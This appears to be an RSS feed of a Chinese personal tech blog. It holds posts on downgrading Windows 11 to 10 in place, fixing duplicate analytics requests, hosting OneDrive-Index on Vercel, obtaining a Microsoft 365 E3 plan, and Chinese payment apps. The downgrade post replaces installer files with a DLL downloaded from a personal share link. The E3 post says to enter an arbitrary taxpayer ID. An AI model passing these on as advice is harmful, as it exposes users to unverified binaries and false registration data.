&lt;p&gt;最后,&lt;code&gt;Win+R&lt;/code&gt; 调出运行,输入 &lt;code&gt;mstsc&lt;/code&gt; 打开远程控制的窗口,开始你的远程之旅吧&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/9207_1_112_29_106_130_gdqwd8.DURt4upv.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/9207_112_29_106_130_rx7fsq.CvKU81NV.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Win11保留数据无损降级Win10</title><link>https://blog.acofork.com/posts/win11-to-win10/</link><guid isPermaLink="true">https://blog.acofork.com/posts/win11-to-win10/</guid><description>我真的受够了Win11那黏黏的感觉了什么能降级还是官方手段还能保留数据?</description><pubDate>Sun, 23 Nov 2025 15:18:40 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;h3&gt;为什么要回到Win10&lt;/h3&gt;
&lt;p&gt;有太多理由了&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Win11几乎只升级了UI并且新的UI优化不完全导致很多地方有粘滞感参见 &lt;a href=&quot;https://www.bilibili.com/video/BV11MVoznE4L/?spm_id_from=333.1387.search.video_card.click&amp;amp;vd_source=6b94c66d8e200ba092130f674228bbff&quot;&gt;我们发现了Win11操作总是不跟手的深层原因_哔哩哔哩_bilibili&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Win10和Win11都是NT 10.x的内核能跑在Win11上的程序必然能在Win10上跑。而微软大部分的程序文档中规定的最低版本号几乎都为 &lt;code&gt;Windows 10 1607 and later&lt;/code&gt; ,也就是 &lt;strong&gt;支持 Windows 10 2016年的版本以及之后的版本&lt;/strong&gt; ,而我们一般使用的都比这新的多,如 &lt;code&gt;21h2&lt;/code&gt; &lt;code&gt;22h2&lt;/code&gt; ,根本不用担心兼容性问题&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;这种非正常手段的“升级”有哪些影响&lt;/h3&gt;
&lt;p&gt;几乎没有影响虽然我们需要做点善后工作但得益于Win10和11本质上是一个东西并不会造成什么不可逆的损害&lt;/p&gt;
&lt;h3&gt;“升级”后,我会丢失什么?&lt;/h3&gt;
&lt;p&gt;Win11有但Win10没有的东西会消失两者都有的会保留。专为Win11打造的Appx“升级”后会不可用或直接消失&lt;/p&gt;
&lt;h3&gt;是保留数据的“升级”吗&lt;/h3&gt;
&lt;p&gt;是的。理论上来说仅会替换Windows版本并不会清除你的所有数据如应用文档个人信息&lt;/p&gt;
&lt;h3&gt;为什么微软不开放官方通道降级?&lt;/h3&gt;
&lt;p&gt;其实是有的当你先安装Win10再通过Windows更新升级为Win11后你有30天的后悔期期间你可以在设置中选择回到Windows 10。但30天并不是一个特殊的日子只是微软为了减少麻烦设置的一个保守日期&lt;/p&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;:::caution
数据无价,谨慎操作
:::&lt;/p&gt;
&lt;p&gt;:::warning
确保你有PE U盘如果你听不懂我在说什么请不要继续操作
:::&lt;/p&gt;
&lt;p&gt;首先确保你正在运行Win11的 &lt;strong&gt;正式版&lt;/strong&gt; ,如果你加入了 &lt;strong&gt;Windows Insider Preivew&lt;/strong&gt; ,请想办法回到 &lt;strong&gt;正式版&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;接下来我们先去下载Win10的ISO前往 https://www.microsoft.com/zh-cn/software-download/windows10 如果你发现你没有可以下载ISO文件的地方如图
&lt;img src=&quot;https://blog.acofork.com/_astro/win11-to-win10-1.oBr_bOhh.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点击F12打开Devtools切换为设备仿真
&lt;img src=&quot;https://blog.acofork.com/_astro/win11-to-win10-2.DaeHhDKD.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;按F5刷新页面此时网页就会认为你是手机就会让你下载ISO了
&lt;img src=&quot;https://blog.acofork.com/_astro/win11-to-win10-3.CAcH8oWl.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;选择版本 &lt;strong&gt;Windows 10 多版本ISO&lt;/strong&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/win11-to-win10-5.jCDRYyM6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;选择 &lt;strong&gt;简体中文&lt;/strong&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/win11-to-win10-6.Br1p6W6G.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;下载 &lt;strong&gt;64位版本的ISO&lt;/strong&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/win11-to-win10-7.D3vEjva3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;得到ISO文件
&lt;img src=&quot;https://blog.acofork.com/_astro/win11-to-win10-8.y9zvzUST.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;确保你安装了 &lt;strong&gt;支持解压缩ISO&lt;/strong&gt; 的软件,如 &lt;a href=&quot;https://www.bandisoft.com/bandizip/&quot;&gt;Bandizip 官方网站 - 免费压缩软件下载 (Windows)&lt;/a&gt; &lt;strong&gt;解压ISO文件&lt;/strong&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/explorer_xY0rowaOaU.Bti9RgRx.gif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;打开 &lt;strong&gt;已解压的ISO&lt;/strong&gt; 文件夹,重命名 &lt;code&gt;setup.exe&lt;/code&gt;&lt;code&gt;setup1.exe&lt;/code&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/win11-to-win10-11.DUwOGxg1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;更改文件属性 - 兼容性为 &lt;strong&gt;Windows 8&lt;/strong&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/explorer_6TrQ3aXWcR.3lG4MeZ5.gif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;下载伪装文件: &lt;a href=&quot;https://acofork-my.sharepoint.com/:u:/g/personal/af_acofork_onmicrosoft_com/ESxJWKgjjHVEhlNoBG4oNWUB_-rGTlLRh1CkXdLoxJsGpw?e=8s79zt&quot;&gt;Win11ToWin10.zip&lt;/a&gt; 目的是强制激活安装程序中的 &lt;strong&gt;保数据升级&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;解压出 &lt;code&gt;ei.cfg&lt;/code&gt;&lt;code&gt;setupcompat.dll&lt;/code&gt; 。将其复制到ISO文件夹下的 &lt;code&gt;sources&lt;/code&gt; 文件夹并替换其中已有的文件
&lt;img src=&quot;https://blog.acofork.com/_astro/win11-to-win10-13.Bix-N8Un.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/explorer_9vcYIunVJH.ib3HEzE5.gif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;打开 &lt;code&gt;setup1.exe&lt;/code&gt; &lt;strong&gt;更改 Windows 安装程序下载更新的方式&lt;/strong&gt;,选择 &lt;strong&gt;不是现在&lt;/strong&gt;,然后一路下一步
&lt;img src=&quot;https://blog.acofork.com/_astro/SetupHost_dtT7QeMuhO.Bsqv6yiP.gif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;等待变为 &lt;strong&gt;准备就绪,可以安装&lt;/strong&gt; ,并确保 &lt;strong&gt;保留个人文件和应用&lt;/strong&gt; ,选择 &lt;strong&gt;安装&lt;/strong&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/win11-to-win10.C6bW3OCn.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;等待设备开机时从 &lt;strong&gt;白条转圈&lt;/strong&gt; 变为 &lt;strong&gt;白点转圈&lt;/strong&gt; 即Windows10已被安装
&lt;img src=&quot;https://blog.acofork.com/_astro/win11-to-win10-15.DTF7qiKr.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来你第一次开机可能会黑屏。表现为用户登录后随着一声警告声并且黑屏,此时移动鼠标可以看到光标移动,但无法点击屏幕上的任何元素&lt;/p&gt;
&lt;p&gt;进入其他系统如U盘中的PE系统删除所有&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;C:\ProgramData\Microsoft\Windows\AppRepository\StateRepository-开头的文件
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再次开机,应该可以成功开机了&lt;/p&gt;
&lt;p&gt;接下来 &lt;code&gt;Win+X&lt;/code&gt; 打开管理员的Powershell&lt;/p&gt;
&lt;p&gt;首先修复一下系统&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Dism.exe /Online /Cleanup-Image /CheckHealth
DISM.exe /Online /Cleanup-image /Scanhealth
DISM.exe /Online /Cleanup-image /Restorehealth
sfc /scannow
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来修复系统应用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;恢复系统应用add-appxpackage -register &quot;C:\Windows\SystemApps\*\AppxManifest.xml&quot; -disabledevelopmentmode
恢复内置应用add-appxpackage -DisableDevelopmentMode -Register &quot;C:\ProgramData\Microsoft\Windows\AppRepository\*\AppxManifest.xml&quot; -verbose
恢复应用商店安装的应用add-appxpackage -DisableDevelopmentMode -Register &quot;C:\Program Files\WindowsApps\*\AppxManifest.xml&quot; -verbose
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;你还可能会遇到点击 Win 弹出开始菜单后打不开设置,我是这样解决的
&lt;img src=&quot;https://blog.acofork.com/_astro/explorer_DqoWvdqpPS.CUWF22lg.gif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;至此已完美“升级”为Windows10&lt;/p&gt;
</content:encoded></item><item><title>解决困扰我多时的JS重复请求问题</title><link>https://blog.acofork.com/posts/swup-js/</link><guid isPermaLink="true">https://blog.acofork.com/posts/swup-js/</guid><description>如果你在我的博客初创就关注了,且具有一定的技术能力,你会发现我的博客曾经有一段时间在疯狂魔改,这可能会导致一些问题,并影响至今</description><pubDate>Tue, 18 Nov 2025 08:46:02 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;就如封面所说,我的博客是 &lt;strong&gt;魔改&lt;/strong&gt; 而来的,而母版为 &lt;a href=&quot;https://github.com/saicaca/fuwari&quot;&gt;saicaca/fuwari: ✨A static blog template built with Astro.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;就如Fuwari原版所称该项目是一个 &lt;strong&gt;静态博客&lt;/strong&gt; 也就是写文章和部署网站是分离的而文章是一个个MarkDown文件构建后输出为HTML&lt;/p&gt;
&lt;p&gt;因为原项目一开始就根本没有考虑 &lt;strong&gt;动态功能&lt;/strong&gt; 如目前我博客使用的 &lt;strong&gt;访问量显示&lt;/strong&gt; ,所以在加入动态功能后可能会有一些问题&lt;/p&gt;
&lt;p&gt;这个访问量显示的思路曾在 &lt;a href=&quot;/posts/static-view/&quot;&gt;该文章&lt;/a&gt; 曾讲述过。我假设你已经看完了那么该思路的步骤有两个1. 首先拿到全局分享Token 2. 拿该Token拿到实际的访问量&lt;/p&gt;
&lt;p&gt;当时出现一个奇怪的问题,在步骤一中出现了多次的重复请求。自己分析后发现,我在博客中的三个地方都使用了同一套逻辑,且互相独立。白话来说,就是你打开博客,首先,它会获取全站访问量,同时,由于第一屏已经有一些文章,所以也会同时获取这些文章的访问量&lt;/p&gt;
&lt;p&gt;但是这个全局分享Token在极长一段时间内根本不变也就是会有特别多的冗余请求于是当时我写了个中间件将这个Token请求一次后就存到用户的浏览器接下来需要用到的时候直接用无需再次从网络请求中获取&lt;/p&gt;
&lt;p&gt;但是在今天,有一位粉丝发现某些页面仍然会多次请求 Umami ,如图
&lt;img src=&quot;https://blog.acofork.com/_astro/swup-js-1.Vn_q53Q6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;于是,它开了一个 issue &lt;a href=&quot;https://github.com/afoim/fuwari/issues/79&quot;&gt;Bug: 站内转跳时由于swup处理不当导致的多umami实例 · Issue #79 · afoim/fuwari&lt;/a&gt; 告知我是Swup的问题让Swup不管理这类JS即可设置后的确可用&lt;/p&gt;
&lt;p&gt;最终使用该issue的方法后我们随便打开一个页面尝试分析看看是否有问题
&lt;img src=&quot;https://blog.acofork.com/_astro/swup-js-2.ELYJ5_DA.png&quot; alt=&quot;&quot; /&gt;
我们只看Umami请求&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://cloud.umami.is/script.js Umami官方的全局JS注入在所有页面中用于后续将访客行为告知给Umami&lt;/li&gt;
&lt;li&gt;http://localhost:4321/js/umami-share.js 之前写的中间件用于避免多次请求Umami拿全局Token&lt;/li&gt;
&lt;li&gt;https://umami.2x.nz/analytics/us/api/websites/5d710dbd-3a2e-43e3-a553-97b415090c63/stats?startAt=0&amp;amp;endAt=1763429011353&amp;amp;unit=hour&amp;amp;timezone=Asia%2FShanghai&amp;amp;compare=false :获取全站统计信息。为什么在文章页也会获取全站统计?因为全站统计被安放在用户配置块,而用户配置块全局可见&lt;/li&gt;
&lt;li&gt;https://umami.2x.nz/analytics/us/api/websites/5d710dbd-3a2e-43e3-a553-97b415090c63/stats?startAt=0&amp;amp;endAt=1763429243350&amp;amp;unit=hour&amp;amp;timezone=Asia%2FShanghai&amp;amp;path=eq.%2Fposts%2Fswup-js%2F&amp;amp;compare=false :获取本页统计信息&lt;/li&gt;
&lt;li&gt;两个预检由于CORS请求源和被请求源不一致这是浏览器自带的安全策略实际顺序为 先预检(我不属于你?我能不能访问你?) - 再fetch我允许你访问吧 。题外话:为什么需要预检?因为浏览器要确保该请求是对方明确允许的,而不是恶意网站强行访问的,否则会触发 &lt;strong&gt;CSRF&lt;/strong&gt; 攻击也就是对端源安全策略过于宽松导致谁都能拿到信息这些信息可能是敏感的如登录Token用户名与密码等&lt;/li&gt;
&lt;li&gt;https://api-gateway.umami.dev/api/send Umami的官方JS用于将本次访问的行为汇报给Umami&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;问题已被完美解决!无冗余请求,干净利落&lt;/p&gt;
</content:encoded></item><item><title>让我们用Vercel来分享你的OneDrive</title><link>https://blog.acofork.com/posts/onedrive-index/</link><guid isPermaLink="true">https://blog.acofork.com/posts/onedrive-index/</guid><description>利用onedrive-index这个项目可以将你的OneDrive映射到公网轻松分发资源</description><pubDate>Fri, 14 Nov 2025 15:03:46 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;你可以根据&lt;a href=&quot;/posts/ms-e3/&quot;&gt;前文&lt;/a&gt;免费拿E3得到至高免费5T的OneDrive存储空间也可以用你个人永久免费的5G空间都可以&lt;/p&gt;
&lt;p&gt;前往 &lt;a href=&quot;https://ovi.swo.moe/zh/docs/advanced#%E4%BD%BF%E7%94%A8%E4%BD%A0%E8%87%AA%E5%B7%B1%E7%9A%84-client-id-%E4%B8%8E-secret&quot;&gt;高级 - OneDrive Vercel Index&lt;/a&gt; 拿到 clientid 和 secret&lt;/p&gt;
&lt;p&gt;前往该页面,点击快速部署 &lt;a href=&quot;https://github.com/iRedScarf/onedrive-index/blob/main/README.zh-CN.md#%E9%83%A8%E7%BD%B2%E5%88%B0vercel&quot;&gt;onedrive-index/README.zh-CN.md at main · iRedScarf/onedrive-index&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/onedrive-index-1.W2K7yMDJ.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;填写必须的5个环境变量
&lt;img src=&quot;https://blog.acofork.com/_astro/onedrive-index-2.PiapXpq-.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;其中USER_PRINCIPAL_NAME为类似 huding@Smartree233.onmicrosoft.com 的电子邮箱也就是你登陆OneDrive的用户名&lt;/p&gt;
&lt;p&gt;Vercel部署完毕后会报错连不上Redis因为我们还没创建和绑定现在我们开始做
&lt;img src=&quot;https://blog.acofork.com/_astro/onedrive-index-3.DRISzW0D.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;前往 https://vercel.com/integrations/upstash 点击 Install
&lt;img src=&quot;https://blog.acofork.com/_astro/onedrive-index-4.CMNaxaeT.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;选择你要绑定的Vercel项目并且设置Redis实例名称
&lt;img src=&quot;https://blog.acofork.com/_astro/onedrive-index-5.BfL5Jyz9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;来到Vercel的环境变量页面这就是绑定成功了
&lt;img src=&quot;https://blog.acofork.com/_astro/onedrive-index-6.D_42MKCx.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;随便打开一个部署,点击 Redeploy 重新部署,就能成功连接数据库了&lt;/p&gt;
&lt;p&gt;接下来访问你的项目域名进入OneDrive-Index的引导需要打开微软的一个链接授权&lt;/p&gt;
&lt;p&gt;授权后会重定向到一个localhost的域名复制该URI粘贴回OneDrive-Index即可仅需一次&lt;/p&gt;
&lt;p&gt;成功部署!
&lt;img src=&quot;https://blog.acofork.com/_astro/onedrive-index-7.RtFI8zzq.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;同项目更改OneDrive账号&lt;/h1&gt;
&lt;p&gt;首先在Vercel上更改这三个环境变量
&lt;img src=&quot;https://blog.acofork.com/_astro/onedrive-index-8.cdtA97H7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后打开 Upstash 找到对应的Redis删除里面存储的所有Token
&lt;img src=&quot;https://blog.acofork.com/_astro/onedrive-index-9.KWwgPn0q.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>永久免费OneDrive 5TMS 365 E3保姆级拿下教程</title><link>https://blog.acofork.com/posts/ms-e3/</link><guid isPermaLink="true">https://blog.acofork.com/posts/ms-e3/</guid><description>曾经免费拿E5但是封车很久了现在E3又来了快上车</description><pubDate>Fri, 14 Nov 2025 14:09:41 GMT</pubDate><content:encoded>&lt;h1&gt;参考文献&lt;/h1&gt;
&lt;p&gt;&lt;a href=&quot;https://forum.naixi.net/thread-6702-1-1.html&quot;&gt;微软Office365 E3订阅回归25个E3 Dev免费开通指南 - 极圈 奶昔论坛&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://forum.naixi.net/forum.php?mod=viewthread&amp;amp;tid=6723&quot;&gt;垃圾DevOffice E3 Symphony可以订阅200万个授权许可 - 极圈 奶昔论坛&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;注: 不建议碰Symphony&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;注册一个全局管理员,一路下一步,到绑卡那里直接退出然后用你的 &lt;code&gt;xxx@xxx.onmicrosoft.com&lt;/code&gt; 去登录就行纳税人识别号随便填认认真真写地址精确到你区县就好了国家一定要填CN不然后面没办法走支付宝 https://signup.microsoft.com/get-started/signup?products=35dffc92-9eb4-4d5c-82c2-2582b37bb9c4&amp;amp;culture=zh-cn&amp;amp;country=cn&lt;/p&gt;
&lt;p&gt;买 E3选择支付宝即可 https://admin.cloud.microsoft/?pid=C69E7747-2566-4897-8CBA-B998ED3BAB88&amp;amp;quan=25&amp;amp;bc=1&amp;amp;sku=189a915c-fe4f-4ffa-bde4-85b9628d07a0&amp;amp;ru=PDP#/Purchase/checkout&lt;/p&gt;
&lt;p&gt;进 微软365管理中心 &lt;a href=&quot;https://admin.cloud.microsoft/#/homepage&quot;&gt;主页 - Microsoft 365 admin center&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;点击 账单 - 你的产品
&lt;img src=&quot;https://blog.acofork.com/_astro/ms-e3-1.D5kBO7LM.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点分配许可证
&lt;img src=&quot;https://blog.acofork.com/_astro/ms-e3-2.DNh3lhxG.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;分配给你主账户
&lt;img src=&quot;https://blog.acofork.com/_astro/ms-e3-3.CFYu9PZ9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;你已经可以用1T OneDrive了进入 &lt;a href=&quot;https://myapplications.microsoft.com/&quot;&gt;My Apps&lt;/a&gt; 选择OneDrive如果进不去或者根本没有OneDrive应用可以直接使用 &lt;code&gt;https://你的组织名-my.sharepoint.com/my&lt;/code&gt; 尝试访问,记得开梯子)
&lt;img src=&quot;https://blog.acofork.com/_astro/ms-e3-4.CaUJ5q9U.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来我们来扩容&lt;/p&gt;
&lt;p&gt;在管理中心点击全部显示
&lt;img src=&quot;https://blog.acofork.com/_astro/ms-e3-5.DdYBg2mW.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;选择 SharePoint
&lt;img src=&quot;https://blog.acofork.com/_astro/ms-e3-6.Cw5NTHwj.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;更改 设置 - OneDrive - 存储限制 为 5120 GB
&lt;img src=&quot;https://blog.acofork.com/_astro/ms-e3-7.BSKKCwlc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;此时等等你的账号就会同步扩容了,如果等不及我们可以来手动强制扩容&lt;/p&gt;
&lt;p&gt;回到 管理中心 选择 用户-活跃用户-管理角色-OneDrive强制扩容
&lt;img src=&quot;https://blog.acofork.com/_astro/ms-e3-8.sU1BZKX7.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/ms-e3-9.CyPoz4t3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;用刚才讲过的方法进入OneDrive成功扩容
&lt;img src=&quot;https://blog.acofork.com/_astro/ms-e3-10.DYxF1K-L.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后,注意一下,及时前往 &lt;a href=&quot;https://mysignins.microsoft.com/security-info&quot;&gt;My Sign-Ins | Security Info | Microsoft.com&lt;/a&gt; 绑定更多的安全信息,避免日后无法访问账号
&lt;img src=&quot;https://blog.acofork.com/_astro/e4d124d4c11d25813b40a984b6c15465.CG3tIerN.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>微信,支付宝,储蓄卡与信用卡的爱恨情仇</title><link>https://blog.acofork.com/posts/wx-zfb-card/</link><guid isPermaLink="true">https://blog.acofork.com/posts/wx-zfb-card/</guid><description>在中国,一卡并不能通刷,鉴于二维码的普及,大部分商户使用扫码付款而不是刷卡付款,这可能会导致一些问题...</description><pubDate>Tue, 11 Nov 2025 08:20:44 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;就像简介所说中国并不像国外一张信用卡通刷一切在海外购物一般都用POS机刷卡或者NFC支付在中国得益于二维码和微信支付宝的推广一般我们有两种方式支付一种是商家挂一个二维码你主动给商家付款而另一种是你展示付款码商家来扫你扣款。无论是方法一还是方法二都不是直接从 &lt;strong&gt;银联&lt;/strong&gt; 扣款的,要不,你用的是 &lt;strong&gt;支付宝&lt;/strong&gt; ,要不就是 &lt;strong&gt;微信&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;左右互搏的付款方式&lt;/h1&gt;
&lt;p&gt;那么问题就渐渐浮现了,由于 &lt;strong&gt;支付宝&lt;/strong&gt; 是阿里的,而 &lt;strong&gt;微信&lt;/strong&gt; 是腾讯的,如果你想要在 &lt;strong&gt;淘宝&lt;/strong&gt; 也就是 &lt;strong&gt;阿里系&lt;/strong&gt; 软件付款,你是用不了微信的,反之,如果你想要在 &lt;strong&gt;腾讯系&lt;/strong&gt; 软件消费,你也是用不了支付宝的&lt;/p&gt;
&lt;p&gt;那么,这种情况如何解决呢?&lt;/p&gt;
&lt;p&gt;没错,该银行卡出场了。在国外,银行卡是你的消费工具,在中国,银行卡是你在微信和支付宝两者的 &lt;strong&gt;兼容层&lt;/strong&gt; 。假如,你的钱全部都存在微信,而你要付款的商户仅支持支付宝支付,那么这个时候,首先,你要将你的银行卡先绑定到微信和支付宝,你就需要先将款项从微信余额 &lt;strong&gt;提现&lt;/strong&gt; 到你的银行卡,再打开支付宝,选择 &lt;strong&gt;充值&lt;/strong&gt; ,将银行卡的钱充值到你的支付宝余额(当然,你也可以借助支付宝直接刷你银行卡里面的钱)&lt;/p&gt;
&lt;p&gt;问题好像完美的解决了!只要有银行卡这个兼容层,你的余额无关平台了!只是付款的时候有时需要转换一下平台而已!真的是这样吗?&lt;/p&gt;
&lt;h1&gt;银行中立,也严格&lt;/h1&gt;
&lt;p&gt;因为银行既不隶属于 &lt;strong&gt;腾讯&lt;/strong&gt; ,也不隶属于 &lt;strong&gt;阿里&lt;/strong&gt; ,所以绝大部分银行卡可以很方便的绑定到微信支付宝进行消费&lt;/p&gt;
&lt;p&gt;但是,这种消费方式是否可用,好用则取决于你的发卡行&lt;/p&gt;
&lt;p&gt;说个题外话,你可能不知道的是,阿里实际上也有个银行,叫做 &lt;strong&gt;网商银行&lt;/strong&gt; ,但是该卡 &lt;strong&gt;微信&lt;/strong&gt; 不接受,反之,腾讯实际上也有个银行,叫做 &lt;strong&gt;微众银行&lt;/strong&gt; ,同样,该卡 &lt;strong&gt;支付宝&lt;/strong&gt; 也不接受。所以,想拿这种卡无痛在支付宝和微信互转是不可能的了&lt;/p&gt;
&lt;p&gt;那么如果,你想要让余额在各平台流转,那就必须去找 &lt;strong&gt;中立的&lt;/strong&gt; 银行,如:&lt;strong&gt;交通银行&lt;/strong&gt;&lt;strong&gt;农业银行&lt;/strong&gt;&lt;strong&gt;广发银行&lt;/strong&gt; 等等&lt;/p&gt;
&lt;p&gt;世界上这么多银行,他们并不都是一视同仁的,鉴于国家近几年对于 &lt;strong&gt;反诈,反洗钱&lt;/strong&gt; 的打击,特别是针对 &lt;strong&gt;未成年人&lt;/strong&gt; ,你使用 &lt;strong&gt;中国银行&lt;/strong&gt; &lt;strong&gt;工商银行&lt;/strong&gt;&lt;strong&gt;国有大行&lt;/strong&gt; 进行 &lt;strong&gt;大额快进快出&lt;/strong&gt; 时大概率会被冻结,并且无法通过网银解除,必须手动跑一次线下,这非常恶心,所以,如果你要开卡,就选择附近最近的银行,且不要选择那些国有大行&lt;/p&gt;
&lt;p&gt;我家附近有 &lt;strong&gt;交通银行&lt;/strong&gt; &lt;strong&gt;农业银行&lt;/strong&gt; &lt;strong&gt;工商银行&lt;/strong&gt; ,目前这三大行的卡我都有,交行Ⅱ类卡一张线下开,农行Ⅰ类卡一张、信用卡一张,工行社保卡(Ⅰ类)卡一张,另有Ⅰ类卡一张&lt;/p&gt;
&lt;p&gt;如果你没有研究过银行卡,你可能不理解Ⅰ类,Ⅱ类,Ⅲ类,特种卡,信用卡等等,这里就大概快速讲下&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Ⅰ类:储蓄卡。绝大部分发卡行要求 &lt;strong&gt;线下开卡&lt;/strong&gt; 日限额1w-5w后期你财力雄厚了可以提。其中&lt;strong&gt;社保卡、医保卡&lt;/strong&gt; 若有 &lt;strong&gt;储蓄功能&lt;/strong&gt; ,也为Ⅰ类卡,且为 &lt;strong&gt;特种卡&lt;/strong&gt; 。一个自然人一般来说只能自主注册 &lt;strong&gt;一张&lt;/strong&gt; 一类卡(特种卡除外)&lt;/li&gt;
&lt;li&gt;Ⅱ类:储蓄卡。绝大部分发卡行仅要求你有一个 &lt;strong&gt;他行一类卡&lt;/strong&gt; ,然后可以通过 &lt;strong&gt;线上&lt;/strong&gt; 自主注册。日限额1k-1w不建议开&lt;/li&gt;
&lt;li&gt;Ⅲ类卡:储蓄卡。一般作为 &lt;strong&gt;副卡,亲情卡&lt;/strong&gt; 使用日限额1k左右不建议自己用&lt;/li&gt;
&lt;li&gt;特种卡:一般为储蓄卡。大部分为国家要求的 &lt;strong&gt;社保、医保账户&lt;/strong&gt; ,除了一卡多用,其余和一类卡一致&lt;/li&gt;
&lt;li&gt;信用卡有储蓄功能但是不咋好用详见后文。未工作的学生可以申请但是无信用额度一般用于海外付款强制需要CVV/CVC不接受储蓄卡的收单机构已工作的将会根据你的工作状态给你批额度&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;我曾经在使用 &lt;strong&gt;工商银行&lt;/strong&gt; 的储蓄卡进行网上消费,因为想要吃支付宝的优惠,则将微信里面的钱先转到银行卡,然后通过支付宝进行扣款,然后失败了,跑去网点后说我 &lt;strong&gt;大额快进快出&lt;/strong&gt; 还要吃店员的司马脸,好在给了身份证和卡和账单,滴几下就解开了,之后,我就再也没有把钱放在工行了&lt;/p&gt;
